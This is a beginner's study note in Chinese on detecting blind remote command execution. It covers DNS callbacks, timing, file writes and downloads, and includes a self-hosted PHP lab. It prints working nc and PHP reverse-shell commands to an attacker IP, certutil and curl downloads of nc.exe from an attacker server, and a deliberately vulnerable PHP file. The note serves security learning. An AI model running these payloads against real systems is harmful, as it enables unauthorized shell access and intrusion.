附:完整筆記目錄~
ps:本人小白,筆記均在個人理解基礎上整理,若有錯誤歡迎指正!
3.1 無回顯
-
概念
無回顯常常在Web漏洞挖掘中被提到。是指當攻擊者控制目標系統執行命令時,目標並不會直接返回結果,造成攻擊者無法知曉自己的攻擊行為是否成功。
那麼當聰明的攻擊者遇到這種情況該如何解決呢?
-
DNSLog/ICMP-SizeLog/TCP-PortLog反連檢測
-
原理:DNSLog反連為最簡單也最常用的方法,控制目標伺服器對指定域名進行反連,並依據反連結果來判斷命令是否能成功執行。而後兩種方式則是對DNSLog的補充,解決思路基本一致均為反連檢測。
-
實現:Yakit整合了這三種反連檢測方式,GUI,直接用即可。
-
-
反彈Shell
-
原理:攻擊者控制目標伺服器主動將shell給到自己。
-
實現:判斷目標伺服器作業系統,使用nc進行反彈shell。Linux自帶nc,而Windows則需考慮如何將nc上傳至目標伺服器。(nc:Netcat,網路工具,用於讀寫網路中連線的資料)
# 靶機Linux&Windows nc -e /bin/bash 攻擊者ip 埠號 nc -e cmd 攻擊者ip 埠號 # 將bash/cmd shell給到攻擊機 # 攻擊機 nc -lvp 埠號 # -l,表示開啟監聽模式 # -v,表示輸出詳細資訊 # -p,表示監聽埠
當然,還有很多工具/服務能實現反彈Shell,如python、powershell、php等。至於不同工具/服務的反彈命令,詳見:https://forum.ywhack.com/reverse-shell/。
由於nc使用最為簡單,所以在基礎入門階段,本文僅使用nc進行展示。
-
-
延時檢測
-
原理:延時檢測指攻擊者透過觀察目標伺服器執行不同命令時的響應時間,來判斷命令是否被成功執行。
-
實現:控制目標主機先執行ping www.example.com記錄響應時間,再執行ping -n/-c 10 www.example.com並記錄響應時間。最終判斷後一命令響應時間是否約為前一命令的10倍,若是則證明命令被執行成功。
# Windows傳送n次ping請求 ping -n 次數 www.example.com # Linux傳送n次ping請求 ping -c 次數 Www.example.com
-
-
檔案寫入&訪問
-
原理:利用命令執行在當前目錄或Web目錄下,寫入&建立一個新檔案。再嘗試訪問自己所創檔案,若能成功訪問則證明命令執行成功。
-
實現:
# Windows&Liunx echo 19 > test.txt
-
-
檔案下載
-
原理:控制目標伺服器主動訪問並下載攻擊者指定遠端伺服器檔案,觀察遠端伺服器是否被訪問進而判斷命令是否被執行。
可以看到與反連檢測類似,但還有一個作用。前面提到Windows並不會自帶nc,那麼透過這種方式是不是可以控制Windows遠端下載nc呢? -
實現:
# Windows certutil.exe -urlcache -split -f http://遠端伺服器ip:埠號/nc.exe nc.exe # Linux curl http://遠端伺服器ip:埠號/nc.exe -o nc.exe
命令自動生成&更多命令,詳見:https://forum.ywhack.com/bountytips.php?download
-
-
實驗:
使用php寫一個帶有RCE的Web(包含有回顯&無回顯),觀察命令執行後有回顯&無回顯的區別。
若無回顯,則嘗試使用上述五種方式判斷命令是否被成功執行。
-
實驗開始,阿里雲租兩臺Linux伺服器,一臺為靶機,一臺為攻擊機。(我選擇的發行版為Ubuntu 20.04)
-
靶機部署安裝Apache+Php,並在網站根目錄下上傳實現RCE的php檔案
# 安裝Apache+PHp # 更新軟體包索引 sudo apt update sudo apt install apache2 sudo systemctl start apache2 sudo apt install php libapache2-mod-php
安裝完成後,編寫並上傳實現RCE的php檔案。
<?php # php實現RCE # 命令執行後有回顯 system($_GET['c']); # 無回顯 shell_exec($_GET['c']); ?>
-
訪問該Php檔案,並觀察命令執行後有/無回顯的區別
-
若命令執行後無回顯,透過上述五種方式來驗證命令是否成功執行。
# 附payload,本實驗使用版本php 7.4.3 php -r '$sock=fsockopen("目標ip",埠號);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
可以看到檔案被成功寫入,但感覺比較雞肋。
Linux許可權控制嚴格,即使能RCE,但使用者許可權不一定為root。而僅有root才能在網站目錄下實現寫入操作,本實驗則是放通了other使用者對網站目錄的寫許可權才成功。因此該方法建議搭配檔案下載來實現。 -
至此,實驗結束!
-